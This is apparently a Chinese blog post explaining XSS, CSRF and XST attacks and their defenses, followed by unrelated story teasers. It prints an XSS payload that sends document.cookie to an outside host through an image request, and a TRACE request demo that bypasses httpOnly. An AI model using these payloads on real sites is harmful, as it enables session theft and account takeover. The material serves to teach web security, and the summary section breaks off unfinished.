XSS,CSRF,XST等网站安全

XSS(Cross Site Scripting) 跨站脚本攻击

https://www.jianshu.com/p/4fcb4b411a66

  • XSS原理

  黑客进入存在输入框的网页,输入JS脚本,伪装成图片等东西展示给其他用户看,其他用户点击或者加载即会受到攻击。

一般分为存储型,反射型和 DOM 型,危害性存储型 > 反射型 > DOM 型

反射型:反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器,这种攻击方式往往需要攻击者诱使用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。

存储型:攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型 XSS 也称“永久型” XSS 。

DOM 型:前端的输入被 DOM 给获取到了,通过 DOM 又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的。

XSS攻击例子:

var img=document.createElement("img");
img.src="http://web.com/log?"+escape(document.cookie);
document.body.appendChild(img);

//封装成 js文件
<script type="text/javascript" src="http://www.Hovey.com/web.js"></script>
  • XSS攻击的危害
  1. 盗取用户 cookie,伪造用户身份登录。
  2. 控制用户浏览器。
  3. 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
  4. 衍生 URL 跳转漏洞。
  5. 让官方网站出现钓鱼页面。
  6. 蠕虫攻击
  • 如何防止 XSS 跨站脚本攻击

原则:不相信用户输入的数据

  1. 将重要的cookie标记为http-only,这样的话JS就不能获取到cookie了(JavaScript中的document.cookie语句)。
  2. 只允许用户输入我们期望的数据。例如:年龄中的textbox中,只允许输入数字,数字外的数据全部过滤。
  3. 过滤或移除特殊的HTML标签,包括服务器端的。例如:<script>、<iframe>
    注意:攻击代码不一定在<script></script>中

CSRF(Cross Site Request Forgery) 跨站请求伪造

  • CSRF攻击原理
CSRF攻击原理

用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cookie。
从上图可以看出,要完成一次CSRF攻击,受害者必须满足两个必要的条件:
(1)登录受信任网站A,并在本地生成Cookie。(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站A的api接口时,会提示你登录)
(2)在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)。
(3)网站B上的脚本让用户对网站A发出请求。一般情况请求头中referer来源是网站B。
(cookie保证了用户可以处于登录状态,但网站B其实拿不到 cookie 也不需要拿到,但是用户必须登录网站A才行。)

  • CSRF攻击示例

网站不同安全条件下的攻击方式

  • 如何防止CSRF攻击

方法一:Token 验证(用的最多)
(1)服务器发送给客户端一个token;
(2)客户端提交的表单中带着这个token。(网站B不知道这个表单的具体情况)
(3)如果这个 token 不合法,那么服务器拒绝这个请求。

为什么token能抵御CSRF
  首先我们要知道浏览器在向网站A发送请求的时候会自动携带网站A的cookie,不论是从哪个地方发送的请求(无论在网站A、网站B或者其他网站)
  CSRF攻击要成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求。所以根据不可预测性原则,我们可以对参数进行加密从而防止CSRF攻击。
  另一个更通用的做法是保持原有参数不变,另外添加一个参数Token,其值是随机的。这样攻击者因为不知道Token而无法构造出合法的请求进行攻击。

方法二:隐藏令牌
把 token 隐藏在 http 的 head头中。
方法二和方法一有点像,本质上没有太大区别,只是使用方式上有区别。

Token 使用原则

  • Token要足够随机————只有这样才算不可预测
  • Token是一次性的,即每次请求成功后要更新Token————这样可以增加攻击难度,增加预测难度
  • Token要注意保密性————敏感操作使用post,防止Token出现在URL中

方法三:Referer 验证
Referer 指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应;如果不是,就拦截。
方法四:验证码(用户体验差)
方法五:减少request()请求(只是增加攻击难度)

XST(Cross-Site Tracing) 跨站追踪

  • 什么XST跨站追踪

XST 的全称是 Cross-Site Tracing,中文译作“跨站式追踪攻击”。具体而言,是客户端发 TRACE / TRACK 请求至服务器,如果服务器按照标准实现了 TRACE / TRACK 响应,则在 response body 里会返回此次请求的完整头信息。通过这种方式,客户端可以获取某些敏感的 header 字段,例如 httpOnly 的 Cookie 等。

可见 XST 的攻击原理非常之简单,借由 XST 攻击获取到 Cookie 信息或者其他敏感信息之后,攻击者可以利用这些信息再发动 XSS、CSRF、中间人攻击等,看似无害,但潜在的危险却很巨大。仅根据 XST 攻击并不会对服务器造成实质性的伤害,它真实的影响是暴露了敏感的 header 数据,如拥有 httpOnly 属性的 Cookie,已经禁止前端 JavaScript 访问它(如 document.cookie),防止它被发送给第三方,但即使在这种情况下,TRACE 方法也可用于绕过此保护并访问 cookie。因此 XST 也被称作 Trace 泄露攻击、Trace header 反射、Trace 方法注入(TMI)、Trace Header Cookie 攻击(THC)。

  • XST 攻击的条件:
  1. 需要目标 Web 服务器允许接受 Trace、Track 方法的请求
  2. 客户端可以发送 Trace、Track 方法的请求。(如今浏览器环境下已经杜绝这种请求)

下面举个栗子 ,这里我用 Express 搭建了一个简单的 Web 服务器,接受一个 Trace 方法的请求:

import express from 'express'
import cookieParser from 'cookie-parser'

const app = express()

app.use(cookieParser())

app.use('/', (req, res, next) => {

  res.cookie('account', 'airing', { maxAge: 900000, httpOnly: true })

  return res.json(req.headers)
})

app.listen(3000)

我们用 TRACE 方法携带 Cookie 请求,可以发现 Cookie 是可以被发送过去的(Chrome 24 环境下):

var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://127.0.0.1:3000/', false);
xhr.withCredentials = true
xhr.setRequestHeader('Cookie', 'account=airingursb');
xhr.send(null);
if(200 == xhr.status) console.log(xhr.responseText);

XST 的真正结果是它暴露了 JavaScript 通常无法访问的 HTTP 头,httpOnly 本应该阻止 JavaScript 读取与发送 cookie 到服务器,但 XST 成功绕过了 httpOnly 的限制。另外,用于 HTTP Basic Auth 的 Authentication 头只是 Base64 编码的用户名和密码,不是 DOM 的一部分,理应也不能直接被 JavaScript 读取,但若使用 XST 也可以绕过。这些敏感信息只通过一个 Trace 请求却全都暴露了出来。

  • XST 的防御方法

杜绝 XST 非常简单,Web 服务器限制 Trace、Track 方法的请求即可。另如今, XMLHTTPRequest 已经杜绝了 Trace 与 Track 方法的请求(Chrome 25 版本及 FireFox 19 之后),如果尝试用 Trace / Track 方法请求,会抛出 SecurityError 异常,这也从根本上杜绝了 XST 攻击。

var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://localhost:3000/', false);
xhr.send(null);
if(200 == xhr.status) console.log(xhr.responseText);

Error

同时,在 FireFox 43 之后,Cookie 等不安全字段也被禁止携带在请求的 header 中发送。详见 Forbidden header name | MSD

虽说目前现代浏览器已经越来越安全,XST 也成为了历史,但其给我们 web 开发者也留下警示——代码编写时一定要注意安全性和严谨性。

总结

CSRF需要

参考:
[1].Web安全防范(XSS、CSRF)
[2].XSS 和 CSRF简述及预防措施
[3].前端 | XST 的攻击原理与防御

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342